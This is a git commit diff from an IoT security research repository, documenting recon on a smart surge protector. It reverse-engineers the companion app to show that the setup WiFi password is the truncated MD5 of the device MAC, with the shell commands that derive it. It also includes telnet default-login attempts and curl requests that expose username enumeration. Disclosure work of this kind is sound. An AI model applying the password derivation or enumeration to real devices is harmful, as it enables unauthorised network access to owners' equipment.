can get the SSID password, which is unchangeable from the MAC address of the device - not uid=0, but pretty bad
This commit is contained in:
parent
a3461af723
commit
af6b212d08
@ -9,7 +9,7 @@ name | description | url
|
|||||||
[CUJO](http://trycujo.com) | purposeful MiTM device for internet 'security' | [cujo](cujo)
|
[CUJO](http://trycujo.com) | purposeful MiTM device for internet 'security' | [cujo](cujo)
|
||||||
[LG webOS](http://www.lge.com) | HTTP phone home is never a good idea | [lg-webOS](lg_webOS)
|
[LG webOS](http://www.lge.com) | HTTP phone home is never a good idea | [lg-webOS](lg_webOS)
|
||||||
[HooToo TripMate series](http://www.hootoo.com) | there are lots of problems, some end up at root access | [hootoo](hootoo)
|
[HooToo TripMate series](http://www.hootoo.com) | there are lots of problems, some end up at root access | [hootoo](hootoo)
|
||||||
[TriCascade i-Bright7x](http://www.tricascade.com/i-bright7x-smart-surge-protector/) | work in progress, some recon done | [i-Bright7x](i-Bright7x)
|
[TriCascade i-Bright7x](http://www.tricascade.com/i-bright7x-smart-surge-protector/) | work in progress, SSID password from MAC address, telnet but no access | [i-Bright7x](i-Bright7x)
|
||||||
[Lametric Time](http://lametric.com) | WiFi/internet enabled clock/LED display, unnecessary services exposed, root access obtainable | [lametric](lametric)
|
[Lametric Time](http://lametric.com) | WiFi/internet enabled clock/LED display, unnecessary services exposed, root access obtainable | [lametric](lametric)
|
||||||
[Philips Hue](http://www.meethue.com) | device communication insecure, Ruby library/CLI to control via REST HTTP | [hued](https://github.com/chorankates/hued)
|
[Philips Hue](http://www.meethue.com) | device communication insecure, Ruby library/CLI to control via REST HTTP | [hued](https://github.com/chorankates/hued)
|
||||||
[RAV FileHub](http://www.ravpower.com/ravpower-rp-wd02-filehub-6000mah-power-bank.html) | a HooToo by any other name.. but with a twist | [rav-filehub](rav-filehub)
|
[RAV FileHub](http://www.ravpower.com/ravpower-rp-wd02-filehub-6000mah-power-bank.html) | a HooToo by any other name.. but with a twist | [rav-filehub](rav-filehub)
|
||||||
|
@ -4,6 +4,10 @@
|
|||||||
- [digging](#digging)
|
- [digging](#digging)
|
||||||
- [nmap](#nmap)
|
- [nmap](#nmap)
|
||||||
- [jnlp](#jnlp)
|
- [jnlp](#jnlp)
|
||||||
|
- [live ports](#live_ports)
|
||||||
|
- [23](#23)
|
||||||
|
- [80](#80)
|
||||||
|
- [8080](#8080)
|
||||||
|
|
||||||
## device
|
## device
|
||||||
name | value
|
name | value
|
||||||
@ -90,41 +94,168 @@ unzipping gives a bit of a clue about the structure - but nothing really interes
|
|||||||
|
|
||||||
it looks like the password is derived from the MAC address of the device - which is worse than it sounds, because the WiFi network it exposes for configuration is `'B7' + $MAC_ADDRESS`
|
it looks like the password is derived from the MAC address of the device - which is worse than it sounds, because the WiFi network it exposes for configuration is `'B7' + $MAC_ADDRESS`
|
||||||
|
|
||||||
|
walking the Java code backwards:
|
||||||
|
* `DeviceAP.extractMac(string)` returns characters 8-20 of whatever it is passed
|
||||||
|
* `a`, is called with the result of above, which initially was misunderstood since the decompilation was ambiguous
|
||||||
|
* `substring(0, 10).toLowerCase()` is called on whatever `a` returns
|
||||||
|
|
||||||
|
within the context of what concrete values our device uses:
|
||||||
|
|
||||||
|
key | value
|
||||||
|
---------|-------
|
||||||
|
MAC | `8C:C7:AA:02:97:48`
|
||||||
|
SSID | `B78CC7AA029748` // so.. 'B7' + $MAC - ':'
|
||||||
|
ID | `TC0600008CC7AA029748` // so 'TC060000' + $MAC
|
||||||
|
password | `97451790c9`
|
||||||
|
|
||||||
|
8-20 characters fits as the actual MAC address inside the ID value, but that gives us '8cc7aa0297', not '97451790c9'
|
||||||
|
|
||||||
|
however, using the second-level deobfuscation feature of jadx turns `a` into `m56a`:
|
||||||
```java
|
```java
|
||||||
// from com/insnergy/wifi/applet/e.java
|
// com/insnergy/wifi/p002b/C0020a.java
|
||||||
|
|
||||||
public final void run() {
|
public static String m56a(String str) {
|
||||||
try {
|
try {
|
||||||
if (b.a((CharSequence)this.a.a) || !RegexPattern.DEVICE_ID.isValid(this.a.a)) {
|
if (C0021b.m61a((CharSequence) str)) {
|
||||||
throw new ApiException("Not a valid device ID : " + this.a.a);
|
return "";
|
||||||
}
|
|
||||||
DeviceAP deviceAP = DeviceAP.of(this.a.a);
|
|
||||||
WiFiDeviceAPI.a(this.a.b, deviceAP.getSsid(this.a.a), deviceAP.getPassword(this.a.a));
|
|
||||||
Thread.sleep(1000);
|
|
||||||
WiFiDeviceAPI.b(this.a.b, WiFiDeviceAPI.d(this.a.b).trigger(), "");
|
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
...
|
MessageDigest instance = MessageDigest.getInstance("MD5");
|
||||||
```
|
instance.update(str.getBytes());
|
||||||
|
return new HexBinaryAdapter().marshal(instance.digest());
|
||||||
in a roundabout way, we're right: the MAC address is being pulled out of the device ID, which is `'TC060000' + $MAC_ADDRESS`, hence the `substring`
|
} catch (NoSuchAlgorithmException e) {
|
||||||
|
e.toString();
|
||||||
additionally, it looks like the signature for `a` is `($IP, $SSID, $PASSWORD)`
|
return "";
|
||||||
|
|
||||||
```java
|
|
||||||
// from com/insnergy/wifi/device/api/c.java
|
|
||||||
|
|
||||||
public final Connect a(String object, String string, String string2, String string3) {
|
|
||||||
String string4 = "Connect?ssid={0}&secmode={1}&encrypt={2}";
|
|
||||||
MessageFormat messageFormat = new MessageFormat(string4);
|
|
||||||
if (b.b((CharSequence)string3)) {
|
|
||||||
messageFormat = new MessageFormat(string4 + "&conpass={3}");
|
|
||||||
}
|
|
||||||
object = this.a(messageFormat, new String[]{object, string, string2, string3});
|
|
||||||
return (Connect)this.a((JSONObject)object, new Connect());
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
|
giving us the final step we need:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ echo -n 8CC7AA029748 | md5sum
|
||||||
|
97451790c91d3c78bee70be7bac5f9b0
|
||||||
|
$ echo 97451790c91d3c78bee70be7bac5f9b0 | cut -c1-10
|
||||||
|
97451790c9
|
||||||
|
```
|
||||||
|
|
||||||
|
the first 10 characters of the MD5 sum of the MAC address is the SSID password.
|
||||||
|
|
||||||
|
unfortunately, this password does not work when attempting to log in to the web application running on :80
|
||||||
|
|
||||||
|
## live ports
|
||||||
|
|
||||||
|
### 23
|
||||||
|
|
||||||
|
```
|
||||||
|
$ nc 192.168.17.1 23
|
||||||
|
|
||||||
|
BRIGHT7 login: admin
|
||||||
|
admin
|
||||||
|
Password: admin
|
||||||
|
|
||||||
|
Login incorrect
|
||||||
|
```
|
||||||
|
|
||||||
|
there is a 1-2 second delay before declaring the login incorrect, making bruteforce even less desirable than usual.
|
||||||
|
|
||||||
|
### 80
|
||||||
|
|
||||||
|
attempts to login leak validity of username and password independently.
|
||||||
|
|
||||||
|
when trying with `admin`, get redirected to `/index.htm?wrongpass1`:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ curl http://192.168.17.1/cgi-bin/login.apply -v -d 'username=admin&password=password1234'
|
||||||
|
...
|
||||||
|
* Connected to 192.168.17.1 (192.168.17.1) port 80 (#0)
|
||||||
|
> POST /cgi-bin/login.apply HTTP/1.1
|
||||||
|
...
|
||||||
|
>
|
||||||
|
< HTTP/1.0 200 OK
|
||||||
|
< Content-Type: text/html
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|
||||||
|
<meta http-equiv="refresh" content="0;URL='/index.htm?wrongpass1'">
|
||||||
|
...
|
||||||
|
* Closing connection 0
|
||||||
|
```
|
||||||
|
|
||||||
|
and when trying with `user`, get redirected to `/index.htm?usernotfound`:
|
||||||
|
```
|
||||||
|
$ curl http://192.168.17.1/cgi-bin/login.apply -v -d 'usern
|
||||||
|
ame=user&password=user'
|
||||||
|
* Trying 192.168.17.1...
|
||||||
|
* TCP_NODELAY set
|
||||||
|
* Connected to 192.168.17.1 (192.168.17.1) port 80 (#0)
|
||||||
|
> POST /cgi-bin/login.apply HTTP/1.1
|
||||||
|
> Host: 192.168.17.1
|
||||||
|
> User-Agent: curl/7.54.0
|
||||||
|
> Accept: */*
|
||||||
|
> Content-Length: 27
|
||||||
|
> Content-Type: application/x-www-form-urlencoded
|
||||||
|
>
|
||||||
|
* upload completely sent off: 27 out of 27 bytes
|
||||||
|
* HTTP 1.0, assume close after body
|
||||||
|
< HTTP/1.0 200 OK
|
||||||
|
< Content-Type: text/html
|
||||||
|
< Pragma: no-cache
|
||||||
|
< Cache-Control: no-cache,must-revalidate
|
||||||
|
< Expired: -9999
|
||||||
|
< Vary: *
|
||||||
|
<
|
||||||
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html
|
||||||
|
4/loose.dtd">
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|
||||||
|
<meta http-equiv="refresh" content="0;URL='/index.htm?usernotfound'">
|
||||||
|
</head>
|
||||||
|
<body style="visibility:hidden;">
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
Set-Cookie: username=user;expire=-1;path=/
|
||||||
|
Set-Cookie: password=user;expire=-1;path=/
|
||||||
|
Set-Cookie: lang=en_US;expire=-1;path=/
|
||||||
|
Set-Cookie: cookieno=388505;expire=-1;path=/
|
||||||
|
Content-type: text/html
|
||||||
|
|
||||||
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html
|
||||||
|
4/loose.dtd">
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|
||||||
|
<meta http-equiv="refresh" content="0;URL='/dashboard_overview.html'">
|
||||||
|
</head>
|
||||||
|
<body style="visibility:hidden;">
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
|
||||||
|
but curiously, the `/dashboard_overview.html` route leaks. unfortunately it is just a mobile/desktop redirector:
|
||||||
|
```
|
||||||
|
$ curl http://192.168.17.1/dashboard_overview/
|
||||||
|
<!DOCTYPE html >
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Index</title>
|
||||||
|
<script type='text/javascript' src="jquery.js" > </script>
|
||||||
|
<script type='text/javascript' src="detectmobilebrowser.js" > </script>
|
||||||
|
<script type="text/javascript">
|
||||||
|
$(document).ready(function() {
|
||||||
|
if (!$.browser.mobile) {
|
||||||
|
window.location.href = '/index.html';
|
||||||
|
} else {
|
||||||
|
window.location.href = '/mobile.html';
|
||||||
|
}
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
|
||||||
|
### 8080
|
||||||
|
|
||||||
```java
|
```java
|
||||||
//
|
//
|
||||||
@ -143,15 +274,15 @@ additionally, it looks like the signature for `a` is `($IP, $SSID, $PASSWORD)`
|
|||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
this is the only reference to this address, have not dug to deeply
|
this is the only reference to this address, and 'goform' doesn't lead to any obvious web frameworks or patterns
|
||||||
|
|
||||||
|
making recon difficult is the 'always 200' responses we see:
|
||||||
|
|
||||||
password: 97451790c9
|
```
|
||||||
|
$ curl http://192.168.17.1:8080/goform/test
|
||||||
|
<html><head><title>Document Error:Data follows</title></head>
|
||||||
|
<body><h2>Access Error:200 Data follows</h2>
|
||||||
|
<p>Form test is not defined</p></body></html>
|
||||||
|
```
|
||||||
|
|
||||||
key | value
|
trying a few simple form names all proved to return the same response
|
||||||
-----|-------
|
|
||||||
MAC | `8C:C7:AA:02:97:48`
|
|
||||||
SSID | `B78CC7AA029748` // so.. 'B7' + $MAC
|
|
||||||
ID | `TC0600008CC7AA029748` // so 'TC060000' + $MAC
|
|
||||||
|
|
||||||
8CC7AA029748 in decimal is 154789178677064
|
|
||||||
|
Loading…
Reference in New Issue
Block a user